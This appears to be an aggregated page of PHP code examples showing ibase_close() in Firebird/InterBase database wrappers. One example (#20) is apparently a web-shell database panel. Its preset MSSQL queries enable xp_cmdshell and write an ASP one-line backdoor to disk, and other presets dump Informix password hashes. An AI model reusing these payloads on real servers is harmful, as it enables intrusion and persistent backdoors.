function sql_close()
 {
  ibase_close ($this->$dbh);
 }
Beispiel #2
1
 /**
  * Cierra la Conexión al Motor de Base de datos
  *
  */
 public function close()
 {
     if ($this->id_connection) {
         return ibase_close();
     }
     return false;
 }
Beispiel #3
0
 /**
  *@package db_firebird
  *@method close()
  *@desc Close Firebird/Interbase connection
  *@since v0.3.1
  * */
 public function close()
 {
     if (self::$is_connected) {
         ibase_close();
         self::$is_connected = false;
     }
 }
 /**
  * Disconnect
  *
  * @return  bool success
  */
 public function close()
 {
     if ($this->handle && ($r = ibase_close($this->handle))) {
         $this->handle = NULL;
         return $r;
     }
     return FALSE;
 }
 function Close()
 {
     if ($this->connection != 0) {
         if (!$this->auto_commit && $this->transaction_id) {
             ibase_rollback($this->transaction_id);
             $this->transaction_id = 0;
         }
         ibase_close($this->connection);
         $this->connection = 0;
         $this->affected_rows = -1;
     }
 }
 function sql_close()
 {
     if (!$this->db_connect_id) {
         return false;
     }
     if ($this->transaction) {
         @ibase_commit($this->db_connect_id);
     }
     if (sizeof($this->open_queries)) {
         foreach ($this->open_queries as $i_query_id => $query_id) {
             @ibase_free_query($query_id);
         }
     }
     return @ibase_close($this->db_connect_id);
 }
Beispiel #7
0
 function DBAQuery(&$db, $database_file, $query)
 {
     if (!function_exists("ibase_connect")) {
         return $db->SetError("DBA query", "Interbase support is not available in this PHP configuration");
     }
     if (!isset($db->options[$option = "DBAUser"]) || !isset($db->options[$option = "DBAPassword"])) {
         return $db->SetError("DBA query", "it was not specified the Interbase {$option} option");
     }
     $database = $db->host . (strcmp($database_file, "") ? ":" . $database_file : "");
     if (($connection = @ibase_connect($database, $db->options["DBAUser"], $db->options["DBAPassword"])) <= 0) {
         return $db->SetError("DBA query", "Could not connect to Interbase server ({$database}): " . ibase_errmsg());
     }
     if (!($success = @ibase_query($connection, $query))) {
         $db->SetError("DBA query", "Could not execute query ({$query}): " . ibase_errmsg());
     }
     ibase_close($connection);
     return $success;
 }
Beispiel #8
0
 /**
 +----------------------------------------------------------
 * 关闭数据库
 +----------------------------------------------------------
 * @access public
 +----------------------------------------------------------
 */
 public function close()
 {
     if ($this->_linkID) {
         ibase_close($this->_linkID);
     }
     $this->_linkID = null;
 }
Beispiel #9
0
 public function disconnect()
 {
     if (is_resource($this->lnk)) {
         ibase_close($this->lnk);
     }
 }
 /**
  * Disconnects from a database.
  * @return void
  */
 public function disconnect()
 {
     ibase_close($this->connection);
 }
Beispiel #11
0
<?php

$host = 'localhost:/path/to/your.gdb';
$dbh = ibase_connect($host, $username, $password);
$stmt = 'SELECT * FROM tblname';
$sth = ibase_query($dbh, $stmt);
while ($row = ibase_fetch_object($sth)) {
    echo $row->email, "\n";
}
ibase_free_result($sth);
ibase_close($dbh);
Beispiel #12
0
 /**
  * Force the connection to close.
  *
  * @return void
  */
 public function closeConnection()
 {
     if (is_resource($this->_transResource)) {
         ibase_rollback($this->_transResource);
     }
     $this->_transResource = null;
     if (is_resource($this->_connection)) {
         ibase_close($this->_connection);
     }
     $this->_connection = null;
 }
function sql_logout($id)
{
    global $dbtype;
    switch ($dbtype) {
        case "MySQL":
            $dbi = @mysql_close($id);
            return $dbi;
            break;
        case "mSQL":
            $dbi = @msql_close($id);
            return $dbi;
            break;
        case "postgres":
        case "postgres_local":
            $dbi = @pg_close($id);
            return $dbi;
            break;
        case "ODBC":
        case "ODBC_Adabas":
            $dbi = @odbc_close($id);
            return $dbi;
            break;
        case "Interbase":
            $dbi = @ibase_close($id);
            return $dbi;
            break;
        case "Sybase":
            $dbi = @sybase_close($id);
            return $dbi;
            break;
        default:
            break;
    }
}
Beispiel #14
0
 /**
  * @see ILumine_Connection::close()
  */
 public function close()
 {
     $this->dispatchEvent(new Lumine_ConnectionEvent(Lumine_Event::PRE_CLOSE, $this));
     if ($this->conn_id && $this->state != self::CLOSED) {
         Lumine_Log::debug('Liberando resultados todos os resultados');
         Lumine_Dialect_Factory::getByName('Firebird')->freeAllResults();
         $this->state = self::CLOSED;
         Lumine_Log::debug('Fechando conexao com ' . $this->getDatabase());
         ibase_close($this->conn_id);
     }
     $this->dispatchEvent(new Lumine_ConnectionEvent(Lumine_Event::POS_CLOSE, $this));
 }
Beispiel #15
0
            $maskSAL = $fechasal[8] . $fechasal[9] . $fechasal[7] . $fechasal[5] . $fechasal[6] . $fechasal[4] . $fechasal[0] . $fechasal[1] . $fechasal[2] . $fechasal[3];
            $count = $count + 1;
            if ($dif == 0) {
                echo "<tr style='font-size:9px; color:#000000'><td style='font-family:Verdana'>{$count}</td><td style='font-family:Consolas;font-size:11px'>{$S['0']}</td><td style='font-family:Verdana'>{$S['2']}</td><td align='center' style='font-family:Verdana'>{$totalDifsal}</td><td align='center' style='font-family:Verdana'>{$maskSAL}</td><td style='font-family:Verdana'>{$E['2']}</td><td align='center' style='font-family:Verdana'>{$totalDifent}</td><td style='font-family:Verdana'>{$dif}</td>";
            } else {
                $countdif = $countdif + 1;
                echo "<tr style='font-size:9px;color:#000000; font-weight:bolder'><td style='font-family:Verdana'>{$count}</td><td style='font-family:Consolas;font-size:11px'>{$S['0']}</td><td style='font-family:Verdana'>{$S['2']}</td><td align='center' style='font-family:Verdana'>{$totalDifsal}</td><td align='center' style='font-family:Verdana'>{$maskSAL}</td><td style='font-family:Verdana'>{$E['2']}</td><td align='center' style='font-family:Verdana'>{$totalDifent}</td><td style='font-family:Verdana'>{$dif}</td>";
            }
            echo "</tr>";
            $difSal = 0;
            $difEnt = 0;
        }
    }
}
ibase_close($conn);
ibase_close($conn2);
echo "</table>";
?>

<table class="content">
<tr><td class="title">Se encontraron <?php 
echo "{$count}";
?>
 registros en total</td></tr>
<tr><td class="title">Gener&oacute; Usuario: <?php 
echo $_SESSION["k_nombre"];
?>
 || Fecha: <?php 
echo $fecha_arch;
?>
  </td></tr>
 /**
  * Disconnects from database.
  *
  * @return boolean True if the database could be disconnected, else false
  */
 function disconnect()
 {
     $this->connected = false;
     return @ibase_close($this->connection);
 }
Beispiel #17
0
 /**
  * Close sql connection
  * @access private
  */
 function _sql_close()
 {
     if ($this->service_handle !== false) {
         @ibase_service_detach($this->service_handle);
     }
     return @ibase_close($this->db_connect_id);
 }
 /**
  * Close DB Connection
  *
  * @param	resource
  * @return	void
  */
 protected function _close($conn_id)
 {
     @ibase_close($conn_id);
 }
Beispiel #19
0
 /**
 +----------------------------------------------------------
 * 关闭数据库
 +----------------------------------------------------------
 * @access public
 +----------------------------------------------------------
 * @throws ThinkExecption
 +----------------------------------------------------------
 */
 public function close()
 {
     if (!empty($this->queryID)) {
         ibase_free_result($this->queryID);
     }
     if ($this->_linkID && !ibase_close($this->_linkID)) {
         throw_exception($this->error());
     }
     $this->_linkID = 0;
 }
Beispiel #20
0
function otherdb()
{
    $db = isset($_GET['db']) ? $_GET['db'] : 'ms';
    print <<<END
<form method="POST" name="dbform" id="dbform" action="?s=gg&db={$db}" enctype="multipart/form-data">
<div class="actall">
<a href="?s=gg&db=ms"> &nbsp MSSQL &nbsp</a>
<a href="?s=gg&db=ora"> &nbsp Oracle &nbsp</a>
<a href="?s=gg&db=ifx"> &nbsp InforMix &nbsp</a>
<a href="?s=gg&db=fb"> &nbsp  FireBird &nbsp</a>
<a href="?s=gg&db=db2">&nbsp DB2 &nbsp</a></div></form>
END;
    if ($db == "ms") {
        $mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost';
        $msuser = isset($_POST['msuser']) ? $_POST['msuser'] : '******';
        $mspass = isset($_POST['mspass']) ? $_POST['mspass'] : '';
        $msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master';
        $msaction = isset($_POST['action']) ? $_POST['action'] : '';
        $msquery = isset($_POST['mssql']) ? $_POST['mssql'] : '';
        $msquery = stripslashes($msquery);
        print <<<END
<div class="actall">
<form method="POST" name="msform" action="?s=gg&db=ms">
Host:<input type="text" name="mshost" value="{$mshost}" style="width:100px">
User:<input type="text" name="msuser" value="{$msuser}" style="width:100px">
Pass:<input type="text" name="mspass" value="{$mspass}" style="width:100px">
Dbname:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br>
<script language="javascript">
function msFull(i){
\tStr = new Array(11);
\tStr[0] = "";
\tStr[1] = "select @@version;";
\tStr[2] = "select name from sysdatabases;";
\tStr[3] = "select name from sysobject where type='U';";
\tStr[4] = "select name from syscolumns where id=Object_Id('table_name');";
\tStr[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');";
\tStr[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');";
\tStr[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;";
\tStr[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;";
\tStr[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;";
\tStr[10] = "Exec master.dbo.xp_cmdshell 'net user';";
\tStr[11] = "Declare @s  int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';";
\tStr[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' ";
\tmsform.mssql.value = Str[i];
\treturn true;
}
</script>
<textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br>
<select onchange="return msFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">��ʾ�汾</option>
\t<option value="2">���ݿ�</option>
\t<option value="3">����</option>
\t<option value="4">�ֶ�</option>
\t<option value="5">sp_oacreate</option>
\t<option value="6">xp_cmdshell</option>
\t<option value="7">xp_cmdshell(2005)</option>
\t<option value="8">sp_oacreate(2005)</option>
\t<option value="9">����openrowset(2005)</option>
\t<option value="10">xp_cmdshell exec</option>
\t<option value="10">sp_oamethod exec</option>
\t<option value="11">sp_makewebtask</option>
</select>
<input type="hidden" name="action" value="msquery">
<input class="bt" type="submit" value="Query"></form></div>
END;
        if ($msaction == 'msquery') {
            $msconn = mssql_connect($mshost, $msuser, $mspass);
            mssql_select_db($msdbname, $msconn) or die("connect error :" . mssql_get_last_message());
            $msresult = mssql_query($msquery) or die(mssql_get_last_message());
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < mssql_num_fields($msresult); $i++) {
                echo '<td><b>' . mssql_field_name($msresult, $i) . "</b></td>\n";
            }
            echo "</tr>\n";
            mssql_data_seek($result, 0);
            while ($msrow = mssql_fetch_row($msresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < mssql_num_fields($msresult); $i++) {
                    echo '<td>' . "{$msrow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            mssql_free_result($msresult);
            mssql_close();
        }
    } elseif ($db == "ora") {
        $orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost';
        $oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521';
        $orauser = isset($_POST['orauser']) ? $_POST['orauser'] : '******';
        $orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '******';
        $orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL';
        $oraaction = isset($_POST['action']) ? $_POST['action'] : '';
        $oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : '';
        $oraquery = stripslashes($oraquery);
        print <<<END
<form method="POST" name="oraform" action="?s=gg&db=ora">
<div class="actall">
Host:<input type="text" name="orahost" value="{$orahost}" style="width:100px">
Port:<input type="text" name="oraport" value="{$oraport}" style="width:50px">
User:<input type="text" name="orauser" value="{$orauser}" style="width:80px">
Pass:<input type="text" name="orapass" value="{$orapass}" style="width:100px">
SID:<input type="text" name="orasid" value="{$orasid}" style="width:50px"><br>
<script language="javascript">
function oraFull(i){
Str = new Array(5);
\tStr[0] = "";
\tStr[1] = "select version();";
\tStr[2] = "SELECT NAME FROM V{$DATABASE}";
\tStr[3] = "select * From all_objects where object_type='TABLE'";
\tStr[4] = "select column_name from user_tab_columns where table_name='table1'";
\toraform.orasql.value = Str[i];
\treturn true;
}
</script>
<textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br>
<select onchange="return oraFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">��ʾ�汾</option>
\t<option value="2">���ݿ�</option>
\t<option value="3">����</option>
\t<option value="4">�ֶ�</option>
</select>
<input type="hidden" name="action" value="myquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($oraaction == 'oraquery') {
            $oralink = OCILogon($orauser, $orapass, "(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST={$orahost})(PORT = {$oraport}))(CONNECT_DATA =(SID={$orasid})))") or die(ocierror());
            $oraresult = ociparse($oralink, $oraquery) or die(ocierror());
            $orarow = oci_fetch_row($oraresult);
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < oci_num_fields($oraresult); $i++) {
                echo '<td><b>' . oci_field_name($oraresult, $i) . "</b></td>\n";
            }
            echo "</tr>\n";
            ociresult($oraresult, 0);
            while ($orarow = ora_fetch_row($oraresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ora_num_fields($result); $i++) {
                    echo '<td>' . "{$orarow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            oci_free_statement($oraresult);
            ocilogoff();
        }
    } elseif ($db == "ifx") {
        $ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : '******';
        $ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '******';
        $ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb';
        $ifxaction = isset($_POST['action']) ? $_POST['action'] : '';
        $ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : '';
        $ifxquery = stripslashes($ifxquery);
        print <<<END
<form method="POST" name="ifxform" action="?s=gg&db=ifx">
<div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px">
User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px">
Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br>
<script language="javascript">
function ifxFull(i){
Str = new Array(11);
\tStr[0] = "";
\tStr[1] = "select dbservername from sysobjects;";
\tStr[2] = "select name from sysdatabases;";
\tStr[3] = "select tabname from systables;";
\tStr[4] = "select colname from syscolumns where tabid=n;";
\tStr[5] = "select username,usertype,password from sysusers;";
\tifxform.ifxsql.value = Str[i];
\treturn true;
}
</script>
<textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br>
<select onchange="return ifxFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">���ݿ�����������</option>
\t<option value="1">���ݿ�</option>
\t<option value="2">����</option>
\t<option value="3">�ֶ�</option>
\t<option value="4">hashes</option>
</select>
<input type="hidden" name="action" value="ifxquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($ifxaction == 'ifxquery') {
            $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg());
            $ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg());
            $ifxrow = ifx_fetch_row($ifxresult);
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                echo '<td><b>' . ifx_fieldproperties($ifxresult) . "</b></td>\n";
            }
            echo "</tr>\n";
            mysql_data_seek($ifxresult, 0);
            while ($ifxrow = ifx_fetch_row($ifxresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                    echo '<td>' . "{$ifxrow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            ifx_free_result($ifxresult);
            ifx_close();
        }
    } elseif ($db == "db2") {
        $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost';
        $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000';
        $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : '******';
        $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '******';
        $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql';
        $db2action = isset($_POST['action']) ? $_POST['action'] : '';
        $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : '';
        $db2query = stripslashes($db2query);
        print <<<END
<form method="POST" name="db2form" action="?s=gg&db=db2">
<div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px">
Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px">
User:<input type="text" name="db2user" value="{$db2user}" style="width:100px">
Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px">
Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br>
<script language="javascript">
function db2Full(i){
Str = new Array(4);
\tStr[0] = "";
\tStr[1] = "select schemaname from syscat.schemata;";
\tStr[2] = "select name from sysibm.systables;";
\tStr[3] = "select colname from syscat.columns where tabname='table_name';";
\tStr[4] = "db2 get db cfg for db_name;";
db2form.db2sql.value = Str[i];
return true;
}
</script>
<textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br>
<select onchange="return db2Full(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">���ݿ�</option>
\t<option value="1">����</option>
\t<option value="2">�ֶ�</option>
\t<option value="3">���ݿ�����</option>
</select>
<input type="hidden" name="action" value="db2query">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($myaction == 'db2query') {
            $db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg());
            $db2result = db2_exec($db2link, $db2query) or die(db2_stmt_errormsg());
            $db2row = db2_fetch_row($db2result);
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < db2_num_fields($db2result); $i++) {
                echo '<td><b>' . db2_field_name($db2result) . "</b></td>\n";
            }
            echo "</tr>\n";
            while ($db2row = db2_fetch_row($db2result)) {
                echo "<tr>\n";
                for ($i = 0; $i < db2_num_fields($db2result); $i++) {
                    echo '<td>' . "{$db2row[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            db2_free_result($db2result);
            db2_close();
        }
    } elseif ($db == "fb") {
        $fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost';
        $fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : '';
        $fbpath = str_replace("\\\\", "\\", $fbpath);
        $fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : '******';
        $fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : '******';
        $fbaction = isset($_POST['action']) ? $_POST['action'] : '';
        $fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : '';
        $fbquery = stripslashes($fbquery);
        print <<<END
<form method="POST" name="fbform" action="?s=gg&db=fb">
<div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px">
Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px">
User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px">
Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/>
<script language="javascript">
function fbFull(i){
Str = new Array(5);
\tStr[0] = "";
\tStr[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;";
\tStr[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';";
\tStr[3] = "input 'D:\\createtable.sql';";
\tStr[4] = "shell netstat -an;";
fbform.fbsql.value = Str[i];
return true;
}
</script>
<textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br>
<select onchange="return fbFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">����</option>
\t<option value="2">�ֶ�</option>
\t<option value="3">����sql</option>
\t<option value="4">shell</option>
</select>
<input type="hidden" name="action" value="fbquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($fbaction == 'fbquery') {
            $fblink = ibase_connect($fbhost . ':' . $fbpath, $fbuser, $fbpass) or die(ibase_errmsg());
            $fbresult = ibase_query($fblink, $fbquery) or die(ibase_errmsg());
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
                echo '<td><b>' . ibase_field_info($fbresult, $i) . "</b></td>\n";
            }
            echo "</tr>\n";
            ibase_field_info($fbresult, 0);
            while ($fbrow = ibase_fetch_row($fbresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
                    echo '<td>' . "{$fbrow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            ibase_free_result($fbresult);
            ibase_close();
        }
    }
}
Beispiel #21
0
function sti_firebird_get_data($connection_string, $data_source_name, $query)
{
    $info = sti_firebird_parse_connection_string($connection_string);
    $link = ibase_connect($info["host"] . ":" . $info["database"], $info["user_id"], $info["password"]) or die("ServerError:Could not connect to host '" . $info["host"] . "', database '" . $info["database"] . "'");
    $query = sti_parse_query_parameters($query);
    $result = ibase_query($link, $query) or die("ServerError:Data not found");
    $xml_output = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Database>";
    $count = ibase_num_fields($result);
    for ($fid = 0; $fid < $count; $fid++) {
        $field_info = ibase_field_info($result, $fid);
        $columns[$fid] = $field_info['alias'];
    }
    while ($row = ibase_fetch_assoc($result)) {
        $xml_output .= "<{$data_source_name}>";
        foreach ($columns as $column) {
            $value = $row[$column];
            $value = str_replace("&", "&amp;", $value);
            $value = str_replace("<", "&lt;", $value);
            $value = str_replace(">", "&gt;", $value);
            $xml_output .= "<{$column}>{$value}</{$column}>";
        }
        $xml_output .= "</{$data_source_name}>";
    }
    $xml_output .= "</Database>";
    ibase_free_result($result);
    ibase_close($link);
    return $xml_output;
}
Beispiel #22
0
/**
 * Closes a database connection.
 *
 * This is not necessary for any database that uses pooled connections such as
 * MySQL, but a good programming practice.
 *
 * @param resource $conn The database connection
 *
 * @return bool True on success, false on error
 */
function dbi_close($conn)
{
    if (strcmp($GLOBALS["db_type"], "mysql") == 0) {
        return mysql_close($conn);
    } else {
        if (strcmp($GLOBALS["db_type"], "mysqli") == 0) {
            return mysqli_close($conn);
        } else {
            if (strcmp($GLOBALS["db_type"], "mssql") == 0) {
                return mssql_close($conn);
            } else {
                if (strcmp($GLOBALS["db_type"], "oracle") == 0) {
                    return OCILogOff($conn);
                } else {
                    if (strcmp($GLOBALS["db_type"], "postgresql") == 0) {
                        return pg_close($GLOBALS["postgresql_connection"]);
                    } else {
                        if (strcmp($GLOBALS["db_type"], "odbc") == 0) {
                            return odbc_close($GLOBALS["odbc_connection"]);
                        } else {
                            if (strcmp($GLOBALS["db_type"], "ibm_db2") == 0) {
                                return db2_close($GLOBALS["ibm_db2_connection"]);
                            } else {
                                if (strcmp($GLOBALS["db_type"], "ibase") == 0) {
                                    return ibase_close($conn);
                                } else {
                                    dbi_fatal_error("dbi_close(): db_type not defined.");
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}
 /**
  * @brief DB접속 해제
  **/
 function close()
 {
     if (!$this->isConnected()) {
         return;
     }
     @ibase_commit($this->fd);
     @ibase_close($this->fd);
     $this->transaction_started = false;
 }
 public function closeConnection()
 {
     ibase_close($this->connection);
 }
Beispiel #25
0
 function _close()
 {
     if (!$this->autoCommit) {
         @ibase_rollback($this->_connectionID);
     }
     return @ibase_close($this->_connectionID);
 }
Beispiel #26
0
 /**
  * Disconnects from the database server
  *
  * @return bool  TRUE on success, FALSE on failure
  */
 function disconnect()
 {
     $ret = @ibase_close($this->connection);
     $this->connection = null;
     return $ret;
 }
 /**
  * Close DB Connection
  *
  * @return	void
  */
 protected function _close()
 {
     ibase_close($this->conn_id);
 }
 /**
  * Disconnect
  *
  * @return  bool success
  */
 public function close()
 {
     $r = $this->handle && ibase_close($this->handle);
     $this->handle = null;
     return (bool) $r;
 }
Beispiel #29
-1
 public function close($connection)
 {
     ibase_close($connection);
     unset($this->connection);
 }
Beispiel #30
-1
 /**
  * Close sql connection
  * @access: private
  */
 function _sql_close()
 {
     return @ibase_close($this->db_connect_id);
 }